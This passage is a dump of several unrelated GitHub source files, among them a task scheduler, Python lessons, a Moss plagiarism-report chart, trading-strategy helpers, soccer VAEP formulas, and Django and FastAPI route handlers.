task4 = Task(3, None, True, [1], Sentiment.AFT, 95, \"D\")\n    task5 = Task(8, None, False, [], Sentiment.MORN, 30, \"E\")\n    task6 = Task(1, None, False, [4], Sentiment.MORN, 70, \"F\")\n    task7 = Task(3, None, False, [7], Sentiment.MORN, 120, \"G\")\n    task8 = Task(12, None, False, [], Sentiment.MORN, 150, \"H\")\n    task9 = Task(3, None, False, [], Sentiment.MORN, 10, \"I\")\n    task10 = Task(4, None, False, [], Sentiment.AFT, 140, \"J\")\n\n    scheduler = TaskScheduler(\n        [task1, task2, task3, task4, task5, task6, task7, task8, task9, task10]\n    )\n    print(scheduler.solve_model())\n","repo_name":"eyingxuan/scheduleaf","sub_path":"backend/app/solver/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":6828,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"38679498521","text":"\n# print('hello world!!!!!!!!!!')\n\ni = 0\n\nif i < 4:\n    f = 'something'\n    print(i)\n    i = i + 1\n    return f\n\n## the return part of functions:\ndef returner(number):\n    return number + 5\n\nnewVar = returner(7)\n\ndef upperMath(anotherNum):\n    return anotherNum % 3\n\n\nprint(newVar)\nprint(returner(12))\nprint(upperMath(returner(9)))\n\n### Arrays:\n\narrayCist = [ 'first', 34, 345, 234, 546518, 64, 'last']\n\nprint(arrayCist[0])\n\narrayCist[0] = 'not first anymore'\n\nprint(arrayCist[0])\n\nfor cist in arrayCist:\n    print(cist)","repo_name":"super-Colin/coding-lessons","sub_path":"python/basics2.chalkboard.py","file_name":"basics2.chalkboard.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70482103609","text":"from PIL import Image, ExifTags\nimport sys\n\n\ndef main(fname):\n    img = Image.open(fname)\n\n    width, height = img.size\n\n    print(\"Width: %dpx\" % width)\n    print(\"Height: %dpx\" % height)\n    print(\"Format: %s\" % img.format)\n\n    tags = img._getexif()\n\n    for tag, value in tags.items():\n        decoded = ExifTags.TAGS.get(tag, tag)\n        print(\"%s: %s\" % (decoded, value))\n\n\nif __name__ == '__main__':\n    main(sys.argv[1])\n","repo_name":"TiagoRG/uaveiro-leci","sub_path":"1ano/2semestre/labi/tema07/src/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"77"}
+{"seq_id":"70399534010","text":"from bs4 import BeautifulSoup\nimport pandas as pd\nimport codecs\nimport plotly.graph_objects as go\nimport statistics as stat\n\n\ndef sections(arg):\n    if arg > 80:\n        return '80%'\n    elif 80 >= arg > 60:\n        return '60% - 80%'\n    elif 60 >= arg > 45:\n        return '45% - 60%'\n    elif 45 >= arg > 30:\n        return '30% - 45%'\n    elif 30 >= arg > 15:\n        return '15% - 30%'\n    else:\n        return '0% - 15%'\n\n\ndef mossBarPlot(reportLocation, barplotDestination, courseName, assignmentName):\n    # Getting Moss html report\n    htmlFile = codecs.open(reportLocation, 'r')\n\n    # Setting the destination of the report\n    destination = barplotDestination\n    if courseName == '' or assignmentName =='':\n        plotTitle = 'Moss Distribution'\n    else:\n        plotTitle = f'{courseName} -- {assignmentName} -- Moss Distribution'\n\n    fileName = \"mossBarplot.html\"\n\n    # Reading html into a beautiful soup object\n    soup = BeautifulSoup(htmlFile.read(), features=\"lxml\")\n\n    # Finding the table rows\n    dataHTML = soup.find('table').find_all('tr')\n\n    # Creating the dataframe to score the information\n    data = pd.DataFrame(columns=[\"student1\", \"student1_percent\", \"student2\", \"student2_percent\", \"numLines\"])\n\n    # Scraping the report\n    for dataIndv in dataHTML:\n        dataByLine = dataIndv.find_all('a')\n\n        numLines = dataIndv.find_all('td', {'align': 'right'})\n\n        # Testing for an empty list\n        if not dataByLine:\n            continue\n        s1 = dataByLine[0].contents[0]\n        s2 = dataByLine[1].contents[0]\n        newData = {\"student1\": s1[0:s1.find('(')],\n                   \"student1_percent\": int(s1[s1.find('(') + 1:s1.find('%')]),\n                   \"student2\": s2[0:s2.find('(')],\n                   \"student2_percent\": int(s2[s2.find('(') + 1:s2.find('%')]),\n                   \"numLines\": int(numLines[0].contents[0])}\n        data = data.append(newData, ignore_index=True)\n\n    data['mean'] = data.apply(lambda row: stat.mean([row['student1_percent'], row['student2_percent']]), axis=1)\n\n    data['group'] = data.apply(lambda row: sections(row['mean']), axis=1)\n\n    dataByGroup = data.groupby('group', as_index=False).size().reset_index()\n    if plotTitle == \"\":\n        plotTitle = \"Moss Assignment Similarity Breakdown\"\n\n    fig = go.Figure(go.Bar(\n        x=dataByGroup['group'],\n        y=dataByGroup['size'],\n        text=dataByGroup['group'],\n        hovertemplate='<b> %{text}</b> <br> Count: %{y} <extra></extra>',\n        marker_color=\"darkred\"\n    ))\n\n    fig.update_layout(\n        xaxis=dict(\n            title=\"Assignment Similarity\"\n        ),\n        yaxis=dict(\n            title=\"Count\"\n        ),\n        title=plotTitle\n    )\n\n    fig.write_html(destination + fileName)\n\n\n","repo_name":"avickars/mosscanvasgui","sub_path":"moss/mossBarPlotVizualization.py","file_name":"mossBarPlotVizualization.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41710757412","text":"import filecmp\nimport os\nimport tempfile\nimport unittest\nfrom .preprocess_csv import create_formatted_csv_file\nfrom .preprocess_csv import create_tmcf_file\n\n# module_dir_ is the path to where this test is running from.\nmodule_dir_ = os.path.dirname(__file__)\n\n\nclass TestPreprocessCsvTest(unittest.TestCase):\n\n    def test_create_csv(self):\n        with tempfile.TemporaryDirectory() as tmp_dir:\n            f = os.path.join(module_dir_, 'test_data/test_data.csv')\n            expected_csv_file = os.path.join(\n                module_dir_, 'test_data/expected_formatted_data.csv')\n            with open(f, \"r\") as f_in:\n                result_csv_file = os.path.join(tmp_dir,\n                                               'OurWorldInData_Covid19.csv')\n                create_formatted_csv_file(f_in, result_csv_file)\n\n                with open(result_csv_file, \"r\") as result_f:\n                    result_str: str = result_f.read()\n                    with open(expected_csv_file, \"r\") as expect_f:\n                        expect_str: str = expect_f.read()\n                        self.assertEqual(result_str, expect_str)\n\n                os.remove(result_csv_file)\n\n    def test_create_tmcf(self):\n        with tempfile.TemporaryDirectory() as tmp_dir:\n            expected_tmcf_file = os.path.join(\n                module_dir_, 'test_data/expected_covid19.tmcf')\n            result_tmcf_file = os.path.join(tmp_dir,\n                                            'OurWorldInData_Covid19.tmcf')\n\n            create_tmcf_file(result_tmcf_file)\n\n            with open(result_tmcf_file, \"r\") as result_f:\n                result_str: str = result_f.read()\n                with open(expected_tmcf_file, \"r\") as expect_f:\n                    expect_str: str = expect_f.read()\n                    self.assertEqual(result_str, expect_str)\n\n            os.remove(result_tmcf_file)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"datacommonsorg/data","sub_path":"scripts/ourworldindata/covid19/preprocess_csv_test.py","file_name":"preprocess_csv_test.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"77"}
+{"seq_id":"31838322802","text":"import numpy as np\nimport pandas as pd\nfrom datetime import datetime\nimport random\nimport itertools\n\nfrom constants import *\nfrom bot_generator import *\nfrom functions_parameters_generator import *\nfrom funtions_path_file_generator import *\n\n\ndef date_convert(date_string):\n    # конвертация из текстового типа записи в дату\n    datetime_object = datetime.strptime(date_string, '%m/%d/%Y')\n\n    return datetime_object\n\n\ndef date_convert_inverse(datetime_object):\n    # конвертация из даты в текстовый вид\n    date_string = datetime_object.strftime('%m/%d/%Y')\n\n    return date_string\n\n\ndef find_last_days_year(df_def):\n\n    time_list = df_def['Time'].to_list()\n\n    date_start = date_convert(time_list[0])\n    date_end = date_convert(time_list[-1])\n\n    year_start = date_start.year\n    year_end = date_end.year\n\n    date_last_list = []\n    date_first_list = []\n    year_list = []\n\n    for year_i in range(year_start, year_end + 1):\n        item_in_year = [x for x in time_list\n                        if date_convert(x) >= datetime(year_i, 1, 1)\n                        and date_convert(x) < datetime(year_i + 1, 12, 31)]\n        # print(date_convert(min(item_in_year)))\n        # print('item_in_year = ', item_in_year)\n        date_first = min(item_in_year)\n        date_last = max(item_in_year)\n        date_first_list.append(date_first)\n        date_last_list.append(date_last)\n        year_list.append(year_i)\n        # item_in_year = [date_convert(x) for x in time_list]\n        # print(r)\n        # item_in_year = date_convert(item_in_year_str)\n        # list_last_days.append(min(item_in_year))\n        # date_last_list[year_i] = date_last\n        # date_first_list[year_i] = date_first\n    # print(date_last_list)\n    # print(date_first_list)\n\n    return date_first_list, date_last_list, year_list\n\n\ndef rolling_std(df_def):\n    # расчет скользящего среднего приведенного к годовому c окном WINDOW_ROLLING_STD\n    # ВНИМАНИЕ! первый период временно обогощается средними данными периода - в идеале надо наполнять историческими данными прошлых периодов\n    global WINDOW_ROLLING_STD\n\n    rolling_std_calc = df_def['Open'].pct_change().rolling(WINDOW_ROLLING_STD).std(ddof=0)\n    rolling_std = np.mean(rolling_std_calc)\n\n    # первый период обогощаем средними данными периода\n    for i in range(WINDOW_ROLLING_STD):\n        rolling_std_calc[i] = rolling_std\n\n    return rolling_std_calc\n\n\ndef date_drop_in_df(df_def, date_start_def, date_finish_def):\n    # отсекаем лишние периоды\n    date_list = df_def['Time'].unique().tolist()\n    df_dated = pd.DataFrame()\n    for j in range(len(date_list)):\n        date_j = date_list[j]\n        date_j_converted = date_convert(date_j)\n        if date_j_converted >= date_finish_def or date_j_converted <= date_start_def:\n            df_def.drop(df_def[df_def['Time'] == date_j].index, axis=0, inplace=True)\n\n    return df_def\n\n\ndef random_weights_seed(count_items_portfolio, seed_for_random):\n    random.seed(seed_for_random)\n    random_portfolio_weights = random.sample(range(10000), count_items_portfolio)\n    random_portfolio_weights = [ x / sum(random_portfolio_weights) for x in random_portfolio_weights]\n\n    return random_portfolio_weights\n\n\ndef random_portfolio_weights_list_seed(count_portfolios , count_items_portfolio, seed_for_random):\n    weight_zero = [0] * count_items_portfolio\n    portfolio_weights = []\n    type_weights =[]\n\n    # одинаковые веса\n    native_weights = [ 1 / count_items_portfolio ] * count_items_portfolio\n    portfolio_weights.append(native_weights)\n    type_weights.append('native_portfolio')\n\n    # единичные веса\n    for i in range(COUNT_OF_SINGLE_STOCK_PROTFOIO - 1):  # количество одинарных портфелей\n        weights_ones_i = weight_zero\n        weights_ones_i = [ 1 if k == i else weight_zero[k] for k in range(count_items_portfolio)]\n        # print(weights_ones_i)\n        portfolio_weights.append(weights_ones_i)\n        # print(portfolio_weights)\n        type_weights.append('single_bot')\n\n    # случайные веса\n    for j in range(count_portfolios - COUNT_OF_SINGLE_STOCK_PROTFOIO - 1):\n        random_portfolio_weights = random_weights_seed(count_items_portfolio, seed_for_random)\n        portfolio_weights.append(random_portfolio_weights)\n        type_weights.append('random_portfolio')\n        seed_for_random += 1\n\n    return portfolio_weights, type_weights\n\n\ndef logbook_text_compelling(running_file_def, param_dict_list_def):\n    logbook_text_def = '\\n\\n\\n' + \\\n        '==========================================================================================================' + \\\n        '\\n\\n' \\\n        '\\nЭКСПЕРИМЕНТ: ' + str(EXPERIMENT) + \\\n        '\\nВРЕМЯ НАЧАЛА: ' + str(date.today()) + \\\n        '\\nИНИЦИИРУЮЩИ ФАЙЛ: ' + str(running_file_def) + \\\n        '\\nСПИСОК АКТИВОВ: ' + str(TICKER_HISTORY_LIST) + \\\n        '\\nПЕРВЫЙ ПАРАМЕТР: ' + str(param_dict_list_def[0]) + \\\n        '\\nВСЕ ПАРАМЕТРЫ ЭКСПЕРИМЕНТА: ' + str(param_dict_list_def) + \\\n        '\\nКОЛИЧЕСТВО ЭКСПЕРИМЕНТОВ ПАРАМЕТРОМ: ' + str(COUNT_RANDOM_PARAMETERS_EXPERIMENTS) + \\\n        '\\nКОЛИЧЕСТВО ЭКСПЕРИМЕНТОВ С ВЕСАМИ: ' + str(COUNT_WEIGHT_EXPERIMENTS) + \\\n        '\\nКОЭФФИЦИЕНТ СЛУЧАНОСТИ: ' + str(SEED_EXPERIMENT) + \\\n        '\\nDATE_EXPERIMENT_START:' + str(DATE_EXPERIMENT_START) + \\\n        '\\nDATE_EXPERIMENT_FINISH: ' + str(DATE_EXPERIMENT_FINISH)\n\n    with open('experiments_logbook.txt', 'a') as file:\n        file.write(logbook_text_def)\n\n    return logbook_text_def\n\n\ndef logbook_text_compelling_start_algorithm(running_file_def):\n    logbook_text_def = '\\n' \\\n        '\\nИНИЦИИРУЮЩИЙ ФАЙЛ ЗАПУЩЕН: ' + str(running_file_def) + \\\n        '\\nЭКСПЕРИМЕНТ: ' + str(EXPERIMENT) + \\\n        '\\nВРЕМЯ НАЧАЛА АЛГОРИТМА: ' + str(datetime.today())\n\n    with open('experiments_logbook.txt', 'a') as file:\n        file.write(logbook_text_def)\n\n    return logbook_text_def\n\n\ndef logbook_text_compelling_finish_algorithm(running_file_def, duration_def):\n    logbook_text_def = '\\nВРЕМЯ ЗАВЕРШЕНИЯ АЛГОРИТМА: ' + str(duration_def / 60) + ' минут'\n\n    with open('experiments_logbook.txt', 'a') as file:\n        file.write(logbook_text_def)\n\n    return logbook_text_def\n\n\ndef convert_day_stock_df_to_week(df_def):\n    # TODO не завершено -доделать позже\n    # Converting date to pandas datetime format\n    df_def['Time'] = pd.to_datetime(df_def['Time'])\n\n    df_def['Week_Number'] = df_def['Time'].dt.week\n    df_def['Month'] = df_def['Time'].dt.month\n    df_def['Year'] = df_def['Time'].dt.year\n\n    for i in range(len(df_def)):\n        df_def.loc[i, 'Time'] = date_convert_inverse(df_def.loc[i, 'Time'] )\n\n    # Grouping based on required values\n\n    df_result = df_def.groupby(['Year', 'Month', 'Week_Number']).agg(\n        {'Time': 'first',\n         'Open': 'first',\n         'day_profit_unrealized_pnl': 'sum',\n         'reserved_sum_investment': 'last',\n         'day_profit': 'sum',\n         'total_profit': 'last',\n         'count_buy': 'last'})\n\n    print(df_result)\n    # df_result = df_agg.copy()\n    # df2 = df_def.groupby(['Year', 'Week_Number']).agg(\n    #     {'Open': 'first',\n    #      'High': 'max',\n    #      'Low': 'min',\n    #      'Close': 'last',\n    #      'day_profit_unrealized_pnl': 'sum'})\n\n    # for i in range(0,len(df_result)):\n    #     print(i)\n    #     print('len(df_result) ', len(df_result))\n    #     print(df_result.loc[i, 'Time'])\n    #     df_result.loc[i, 'Time'] = date_convert_inverse(df_result.loc[i, 'Time'] )\n\n\n\n    df_result.to_csv('Weekly_OHLC.csv')\n    print('*** Program ended ***')\n\n    print(df_result)\n\n    return df_result\n\n\ndef convert_day_stock_df_to_month(df_def):\n    # TODO не завершено -доделать позже\n    # Converting date to pandas datetime format\n    df_def['Time'] = pd.to_datetime(df_def['Time'])\n\n    # df_def['Week_Number'] = df_def['Time'].dt.week\n    df_def['Month'] = df_def['Time'].dt.month\n    df_def['Year'] = df_def['Time'].dt.year\n\n    # Grouping based on required values\n    df2 = df_def.groupby(['Year', 'Month']).agg(\n        {'Time': 'first',\n         'Open': 'first',\n         'day_profit_unrealized_pnl': 'sum',\n         'reserved_sum_investment': 'last',\n         'total_profit': 'last'})\n\n    # df2 = df_def.groupby(['Year', 'Week_Number']).agg(\n    #     {'Open': 'first',\n    #      'High': 'max',\n    #      'Low': 'min',\n    #      'Close': 'last',\n    #      'day_profit_unrealized_pnl': 'sum'})\n\n    for i in range(len(df_def)):\n        df_def.loc[i, 'Time'] = date_convert_inverse(df_def.loc[i, 'Time'] )\n\n    df2.to_csv('Monthly_OHLC.csv')\n    print('*** Program ended ***')\n\n    print(df_def)\n\n# print(random_portfolio_weights_list_seed(20 , 5, 3))\n\n\n# random_portfolio_weights_seed(5, 3)\n#\n# random.seed(3)\n# random_example = random.sample(range(100), 5)\n# print('random_example ', random_example)\n\n# path_bot = path_file_without_prefix(PATH_FOLDER_BOT, PATH_FILE_BOT, EXPERIMENT, TICKER)\n#\n# rrr = {}\n# for i in range(2):\n#     path_bot_i = path_file(path_bot, i + 1)\n#     df = pd.read_csv(path_bot_i, sep=',')\n#     print(\"Файл считан: \", path_bot_i)\n#     print(type(df))\n#     rrr[i] = find_last_days_year(df)\n#\n# print(rrr)\n\n\n# # df = read_csv('file_name', skiprows=1)\n# # df.dropna(axis=0, inplace=True)\n# # x = df.loc[:-2]\n# # # print(df['Time'][0])\n# # # print(df)\n# # print(x)\n# #\n# # # запись в файл бота\n# # #     path_bot_i = path_file('test.csv', i + 1)\n# #     # path_bot_i = path_file(path_bot, i + 1 + 153)\n# # df.to_csv('test.csv', sep=',', index=False)\n# # print(\"Файл создан: \", 'test.csv', \"\\n\")\n#\n# find_last_days_year(df)\n\n# Для тестов\n# datetime_str_start = '09/19/18'\n# date_formated = date_convert(datetime_str_start)\n# print(date_formated)\n# date_string_again = date_convert_inverse(date_formated)\n# print(date_string_again)\n","repo_name":"sagdiev/kmbs_project","sub_path":"functions_base.py","file_name":"functions_base.py","file_ext":"py","file_size_in_byte":10431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"72914578808","text":"import requests\n\n\ndef get_associate_data(env, orgId, associateId):\n    \"\"\"\n    Retrieves associate data by organization ID and associate ID.\n\n    Parameters:\n        env (str): The environment name.\n        orgId (int): The ID of the organization.\n        associateId (int): The ID of the associate.\n\n    Returns:\n        dict or None: The associate data if found, or None if not found.\n    \"\"\"\n    url = f\"http://lmx.{env}.milezero.com/lmx-war/api/associate/org/{orgId}/{associateId}\"\n\n    # print(f\"\\nSearching for ({env})\\n\" +\n    #       f\"> OrgId {orgId}\\n\" +\n    #       f\"> AssociateId {associateId}\")\n    response = requests.get(url=url, timeout=10).json()\n\n    try:\n        test = response[\"organizationId\"]\n        return response\n    except Exception as e:\n        print(\"An error has occurred\")\n        print(e)\n        return None\n\n\ndef search_associate(env, org_id, key_type_index, search_key):\n    \"\"\"\n    Searches for associates based on a specific key type and search key.\n\n    Parameters:\n        env (str): The environment name.\n        org_id (int): The ID of the organization.\n        key_type_index (int): The index of the key type in the key_types list.\n            0: \"orgId\"\n            1: \"referenceId\"\n            2: \"name\"\n            3: \"email\"\n            4: \"userName\"\n            5: \"state\"\n            6: \"type\"\n            7: \"associateType\"\n            8: \"skill\"\n            9: \"skillRatingValue\"\n            10: \"rating\"\n            11: \"fleetId\"\n            12: \"clusterId\"\n            13: \"hubId\"\n            14: \"locationId\"\n            15: \"worldViewId\"\n            16: \"availabilityFleetId\"\n            17: \"availabilityClusterId\"\n        search_key (str): The search key.\n\n    Returns:\n        list or None: The list of associates if found, or None if not found.\n    \"\"\"\n    time = 30\n    url = f\"http://lmx.{env}.milezero.com/lmx-war/api/associate/all\"\n\n    key_types = [\n        \"orgId\", \"referenceId\", \"name\", \"email\", \"userName\", \"state\", \n        \"type\", \"associateType\", \"skill\", \"skillRatingValue\", \"rating\",\n        \"fleetId\", \"clusterId\", \"hubId\", \"locationId\", \"worldViewId\", \n        \"availabilityFleetId\", \"availabilityClusterId\"\n    ]\n\n    requestData = {}\n\n    if key_type_index > 0:\n        requestData[\"orgId\"] = org_id\n        time = 30\n    \n    key_type = str(key_types[key_type_index])\n    \n    requestData[key_type] = search_key\n\n    p = \"Searching for associates with\\n\"\n    for key in requestData.keys():\n        p += f\"> {key} {requestData[key]}\\n\"\n\n    print(p)\n    \n    response = requests.post(url=url, json=requestData, timeout=time).json()\n\n    try:\n        return response[\"associates\"]\n    except Exception as e:\n        print(\"Couldn't find associates with provided data\")\n        print(e)\n        return None\n\n\ndef change_associate_state(env, associateData, userName):\n    \"\"\"\n    Changes the state of an associate from ACTIVE to INACTIVE or vice versa.\n\n    Parameters:\n        env (str): The environment name.\n        associateData (dict): The associate data.\n        userName (str): The name of the user.\n\n    Returns:\n        Response: The response object from the update request.\n    \"\"\"\n    state = associateData[\"state\"]\n    print(f\"Was {state}.\", end=\" \")\n\n    if state == \"ACTIVE\":\n        state = \"INACTIVE\"\n    else:\n        state = \"ACTIVE\"\n\n    print(f\"Updating to {state}\")\n    associateData[\"state\"] = state\n\n    return update_associate_data(env, associateData, userName)\n\n\ndef update_associate_data(env, associateData, userName):\n    \"\"\"\n    Updates the data of an associate.\n\n    Parameters:\n        env (str): The environment name.\n        associateData (dict): The associate data.\n        userName (str): The name of the user.\n\n    Returns:\n        Response: The response object from the update request.\n    \"\"\"\n    url = f\"http://lmx.{env}.milezero.com/lmx-war/api/associate?requestor={str(userName).replace(' ', '%20')}&requestorIdType=NAME\"\n    return requests.put(url=url, json=associateData, timeout=5)\n\n\ndef get_telemetries(env, orgId, associateId, startTime, endTime):\n    \"\"\"\n    Retrieve telemetries for a specific associate within a given time range.\n\n    Parameters:\n    - env: The environment.\n    - orgId: The ID of the organization.\n    - associateId: The ID of the associate.\n    - startTime: The start time of the telemetry range.\n    - endTime: The end time of the telemetry range.\n\n    Returns:\n    - events: A list of telemetry events.\n    \"\"\"\n    formattedStart = str(startTime).replace(':', '%3A')\n    formattedEnd = str(endTime).replace(':', '%3A')\n\n    endpoint = f\"http://lmx.{env}.milezero.com/lmx-war/api/lmxtelemetry/org/{orgId}/owner/{associateId}?startTime={formattedStart}&endTime={formattedEnd}\"\n\n    return requests.get(url=endpoint, timeout=10).json()[\"events\"]","repo_name":"MarceloCFerraz/MZScripts","sub_path":"utils/associates.py","file_name":"associates.py","file_ext":"py","file_size_in_byte":4788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7615192908","text":"import pandas as pd\n\n\ndef _prev(x):\n    prev_x = x.shift(1)\n    prev_x[:1] = x.values[0]\n    return prev_x\n\n\n_samephase_nb = 15\n\n\ndef offensive_value(actions, scores, concedes):\n    sameteam = _prev(actions.team_id) == actions.team_id\n    prev_scores = _prev(scores) * sameteam + _prev(concedes) * (~sameteam)\n\n    # if the previous action was too long ago, the odds of scoring are now 0\n    #toolong_idx = (\n    #    abs(actions.time_seconds - _prev(actions.time_seconds)) > _samephase_nb\n    #)\n    #prev_scores[toolong_idx] = 0\n\n    # if the previous action was a goal, the odds of scoring are now 0\n    prevgoal_idx = _prev(actions.type_name).isin([\"goal\",\"owngoal\"])\n    prev_scores[prevgoal_idx] = 0\n\n    return scores - prev_scores\n\n\ndef defensive_value(actions, scores, concedes):\n    sameteam = _prev(actions.team_id) == actions.team_id\n    prev_concedes = _prev(concedes) * sameteam + _prev(scores) * (~sameteam)\n\n    # if the previous action was too long ago, the odds of scoring are now 0\n    #toolong_idx = (\n    #    abs(actions.time_seconds - _prev(actions.time_seconds)) > _samephase_nb\n    #)\n    #prev_concedes[toolong_idx] = 0\n\n    # if the previous action was a goal, the odds of conceding are now 0\n    prevgoal_idx = _prev(actions.type_name).isin([\"goal\",\"owngoal\"])\n    prev_concedes[prevgoal_idx] = 0\n\n    return -(concedes - prev_concedes)\n\n\ndef value(actions, Pscores, Pconcedes):\n    v = pd.DataFrame()\n    v[\"offensive_value\"] = offensive_value(actions, Pscores, Pconcedes)\n    v[\"defensive_value\"] = defensive_value(actions, Pscores, Pconcedes)\n    v[\"vaep_value\"] = v[\"offensive_value\"] + v[\"defensive_value\"]\n    return v\n","repo_name":"Rikuhei-ynwa/Generalized-VDEP","sub_path":"socceraction/atomic/vaep/formula.py","file_name":"formula.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"7055320587","text":"from django.shortcuts import render\nfrom .models import *\nfrom .aforms import *\nfrom django.http import *\nfrom batchprocessing import *\nfrom batchprocessing.models import nifty_50_companies\nfrom datetime import datetime as datetime\nfrom screener import strategy as strategylogic\n\ndef strategy(request):\n    if request.method == 'POST':\n        print(\"#########Inside POST#############3\")\n        form = strategy_form(request.POST)\n        company = form['companyName'].value();\n        backdate = form['backdate'].value();\n        #form.full_clean\n        #setattr(form,'companyName',company)\n        #setattr(form,'backdate',backdate)\n        print(backdate)\n        print(company)\n        if form.is_valid():\n            submitvalue= request.POST.get(\"submitvalue\")\n            print(submitvalue)\n            if submitvalue == \"MSARd\":\n                smafig = strategylogic.getSMAStrategy(company,backdate)\n                return render(request,\"stratergyOption.html\",{\"strategyform\":form,\"company\":company,\"date\":backdate,\"smadata\":smafig,\"submitvalue\":submitvalue})\n            elif submitvalue == \"BBSRd\":\n                bbbandGraph=strategylogic.view_indices_chart(company,backdate)\n                return render(request,\"stratergyOption.html\",{\"strategyform\":form,\"company\":company,\"date\":backdate,\"submitvalue\":submitvalue,\"bbbandGraph\":bbbandGraph})\n            elif submitvalue == \"MLSRd\":\n                machineLearningGraph=strategylogic.machineLearningChart(company,backdate)\n                return render(request,\"stratergyOption.html\",{\"strategyform\":form,\"company\":company,\"date\":backdate,\"submitvalue\":submitvalue,\"machineLearningGraph\":machineLearningGraph})\n            elif submitvalue == \"RSIRd\":\n                rsiStretagyGraph=strategylogic.rsiStretagy(company,backdate)\n                return render(request,\"stratergyOption.html\",{\"strategyform\":form,\"company\":company,\"date\":backdate,\"submitvalue\":submitvalue,\"rsiStretagyGraph\":rsiStretagyGraph})\n            #indicesdata.columns = ['UpperBand','MiddleBand','LowerBand','Close','Buy','Sell']\n            #print(\"##########3INDICES DATA###########3\")\n            #print(indicesdata)      \n            #return render(request,\"stratergyOption.html\",{\"strategyform\":form,\"company\":company,\"date\":backdate,\"smadata\":smafig,\"bbbandGraph\":bbbandGraph,\"rsiStretagyGraph\":rsiStretagyGraph,\"emaStretagyGraph\":emaStretagyGraph,\"rocStretagyGraph\":rocStretagyGraph,\"macdStretagyGraph\":macdStretagyGraph,\"soStretagyGraph\":soStretagyGraph,\"indicesdata\":indicesdata.to_html(bold_rows=True,index=False)})\n    else:\n        form= strategy_form()\n        print(\"inside form\")\n    return render(request,\"stratergyOption.html\",{\"strategyform\":form,\"submitvalue\":\"MSARd\"})\n","repo_name":"AYUSHOPSHARMA/wealthadvisory","sub_path":"screener/StrategyForm/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27787287707","text":"from typing import Optional\nfrom app.db import Session, get_db\nfrom app.services.auth import auth_service \nfrom fastapi import APIRouter, Depends, Header\nfrom app.api.crud.room_rating_dao import RoomRatingDAO\nfrom app.api.models.room_rating_model import (RoomRatingDB, \n                                              RoomRatingList,\n                                              RoomRatingSchema)\n\nrouter = APIRouter()\n\n@router.post(\"\", response_model=RoomRatingDB, status_code=201)\nasync def rate_room(\n    payload: RoomRatingSchema, room_id: int, db: Session = Depends(get_db),\n    api_key: Optional[str] = Header(None)\n):\n    auth_service.verify_apy_key(api_key)\n    room_rating_info = RoomRatingDAO.add_new_room_rating(db, room_id, payload)\n    return room_rating_info\n\n\n@router.get(\"\", response_model=RoomRatingList, status_code=200)\nasync def get_all_room_ratings(\n    room_id: int, db: Session = Depends(get_db),\n    api_key: Optional[str] = Header(None)\n):\n    auth_service.verify_apy_key(api_key)\n    room_ratings_list = RoomRatingDAO.get_all_ratings(db, room_id)\n    amount_ratings = len(room_ratings_list)\n    return {\"room_id\": room_id, \"amount\": amount_ratings, \"ratings\": room_ratings_list}\n\n\n@router.get(\"/{rating_id}\", response_model=RoomRatingDB, status_code=200)\nasync def get_room_rating(\n    room_id: int, rating_id: int, db: Session = Depends(get_db),\n    api_key: Optional[str] = Header(None)\n):\n    auth_service.verify_apy_key(api_key)\n    room_rating_info = RoomRatingDAO.get_room_rating(db, room_id, rating_id)\n    return room_rating_info\n\n\n@router.delete(\"/{rating_id}\", response_model=RoomRatingDB, status_code=200)\nasync def delete_room_rating(\n    room_id: int, rating_id: int, db: Session = Depends(get_db),\n    api_key: Optional[str] = Header(None)\n):\n    auth_service.verify_apy_key(api_key)\n    room_rating_info = RoomRatingDAO.delete_room_rating(db, room_id, rating_id)\n    return room_rating_info","repo_name":"bookbnb-G7/bookbnb-postserver","sub_path":"postserver/app/api/routes/room_rating_router.py","file_name":"room_rating_router.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3750504882","text":"from sqlalchemy import *\nfrom migrate import *\nfrom OSMTM.models import Job\n\n\n\ndef upgrade(migrate_engine):\n    meta = MetaData()\n    meta.bind = migrate_engine\n\n    job_whitelists = Table('job_whitelists', meta,\n      Column('job_id', Integer()),\n      Column('user_id', String()),\n    )\n\n    jobs = Table('jobs', meta,\n      Column('id', Integer(),  primary_key=True, nullable=False),\n      Column('title', String()),\n      Column('description', String()),\n      Column('geometry', String()),\n      Column('workflow', String()),\n      Column('zoom', Integer()),\n    )\n\n    users = Table('users', meta,\n      Column('username', String(),  primary_key=True, nullable=False),\n      Column('role', Integer()),\n    )\n\n    job_whitelists.create()\n    col = Column('imagery', String)\n    col.create(jobs)\n    col = Column('is_private', Boolean)\n    col.create(jobs)\n    col = Column('requires_nextview', Boolean)\n    col.create(jobs)\n    col = Column('accepted_nextview', Boolean)\n    col.create(users)\n    pass\n\ndef downgrade(migrate_engine):\n    meta = MetaData()\n    meta.bind = migrate_engine\n\n    job_whitelists = Table('job_whitelists', meta,\n      Column('job_id', Integer()),\n      Column('user_id', String()),\n    )\n\n    jobs = Table('jobs', meta,\n      Column('id', Integer(),  primary_key=True, nullable=False),\n      Column('title', String()),\n      Column('description', String()),\n      Column('geometry', String()),\n      Column('workflow', String()),\n      Column('imagery', String()),\n      Column('zoom', Integer()),\n      Column('is_private', Integer()),\n      Column('requires_nextview', Integer()),\n    )\n\n    users = Table('users', meta,\n      